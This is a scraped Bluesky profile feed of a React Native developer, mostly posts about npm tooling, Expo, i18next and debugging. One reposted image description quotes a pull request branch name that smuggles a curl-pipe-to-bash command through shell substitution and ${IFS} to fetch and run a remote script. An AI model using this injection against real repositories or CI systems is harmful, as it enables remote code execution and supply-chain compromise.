Lukas Müller's Avatar

Lukas Müller

@wookbot.de.bsky.social

fullstack engineer react-native engineer WookieFPV on Github / X

58 Followers  |  218 Following  |  11 Posts  |  Joined: 29.10.2024  |  1.6797

Latest posts by wookbot.de on Bluesky

alias ncu='bunx npm-check-updates'

really handing to upgrade deps.
-i for interactive

19.04.2025 15:07 — 👍 1    🔁 0    💬 0    📌 0
Preview
GitHub - WookieFPV/list-config-plugins: Find all packages that have an expo config plugin Find all packages that have an expo config plugin. Contribute to WookieFPV/list-config-plugins development by creating an account on GitHub.

It's open source, of course: github.com/WookieFPV/li...

Feel free to give it a spin and let me know if it works for your project.
It worked for mine and for the Bluesky app (shown in the screenshot)

17.01.2025 20:20 — 👍 3    🔁 0    💬 0    📌 0
Post image

I built a small CLI tool to quickly check which npm packages include an @expo.dev config plugin (and whether it’s being used). 🎉

Try it out:
npx list-config-plugins

Feedback is welcome!

17.01.2025 19:55 — 👍 5    🔁 0    💬 1    📌 0
its a header image with the title "State of React Native 2024"

its a header image with the title "State of React Native 2024"

The State of React Native 2024 is now open! 🚨🚨🚨
➡️ stateofreactnative.com

We've been running this survey for 3 years & it's become an invaluable resource for learning about React Native's best features and biggest pain points.
Share your thoughts and help us shape the whole RN ecosystem!

09.12.2024 13:07 — 👍 94    🔁 32    💬 1    📌 14
two logs side by side, diverging midway

two logs side by side, diverging midway

one of the best debugging techniques of all time is to log everything relevant and deterministic, and diff the two logs

07.12.2024 13:40 — 👍 428    🔁 23    💬 26    📌 4
Picture of a Github PR with text reading

openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

absolutely incredible attack vector

06.12.2024 03:27 — 👍 969    🔁 264    💬 17    📌 53

Glad I could help!
Looking forward to seeing you at appjs conference! 🚀

06.12.2024 23:03 — 👍 2    🔁 0    💬 0    📌 0
Post image

A simple general purpose memoizer utility for TypeScript

- lazily computes a value when accessed
- autocaches the result
- typesafe

i use this all the time...unlike a naive getter there's no runtime overhead after the first invokation since the getter itself is overwritten with the memoized value

06.12.2024 10:20 — 👍 102    🔁 12    💬 6    📌 2

If you are using nested json it could happen that some keys get overriden with objects.
Having an key like shooting.action.accept.ok.body would cause a similar error.

example with 2 keys named "foo" & "foo.bar".
foo will get overriden and will fail.

nested json:
{
"foo": {
"baz": "..."
}
}

06.12.2024 13:19 — 👍 1    🔁 0    💬 2    📌 0

Thats weird.
I am using i18next with react-native and that works fine for me.

how are you loading your translations (and what format)?

06.12.2024 13:13 — 👍 1    🔁 0    💬 0    📌 0
Preview
Edge-to-Edge display, now streamlined for Android Learn how to create a more immersive experience for application users with React Native edge-to-edge display.

🫡 Thanks to @zoontek.me - Android is now livin on the edge-to-edge.

Check out the blog post to learn how your app content can flow smoothly beneath the system bars on Android.
expo.dev/blog/edge-to...

26.11.2024 18:22 — 👍 92    🔁 12    💬 3    📌 2

Those Improvements are for the core Animated module, right ?

I guess most Apps are using reanimated.
But awesome for Apps/Libaries that that use the build in Animated

26.11.2024 22:41 — 👍 1    🔁 0    💬 1    📌 0

It's always nice when React-Native is getting some Love.
React-Native has some unique challenges and rough edges.
Especially DevTools are not on the same level as on the web.
DevTools in general have always been a difficult topic 😅
The expo react-query devtools are really helpful.

25.11.2024 21:37 — 👍 3    🔁 0    💬 0    📌 0

These improvements sound great!🎉
This will make it much easier to improve perf.
Most Apps currently are probably still fetching on inactive screens

25.11.2024 21:18 — 👍 2    🔁 0    💬 1    📌 0

Now you've got me hyped! 🚀
Can't wait to see what you two are cooking up.
Any chance for a little sneak peek? 👀
@hirbod.dev

25.11.2024 14:50 — 👍 1    🔁 0    💬 1    📌 0
Preview
The Betterment Metric - Angie Jones A simple observation at airport security highlights the concept of Betterment and how it applies to engineering teams. Which group are you in?

My latest blog post covers how a simple observation at airport security highlights the concept of Betterment and how it applies to engineering teams. Which group are you in?

angiejones.tech/the-betterme...

22.11.2024 16:54 — 👍 289    🔁 99    💬 51    📌 40

My current project is using trunk-based development. Was skeptical at first (the concept sound crazy), but it worked well so far. Merge conflicts are rare. But its definitely a trade-off

22.11.2024 19:39 — 👍 1    🔁 0    💬 0    📌 0

@wookbot.de is following 19 prominent accounts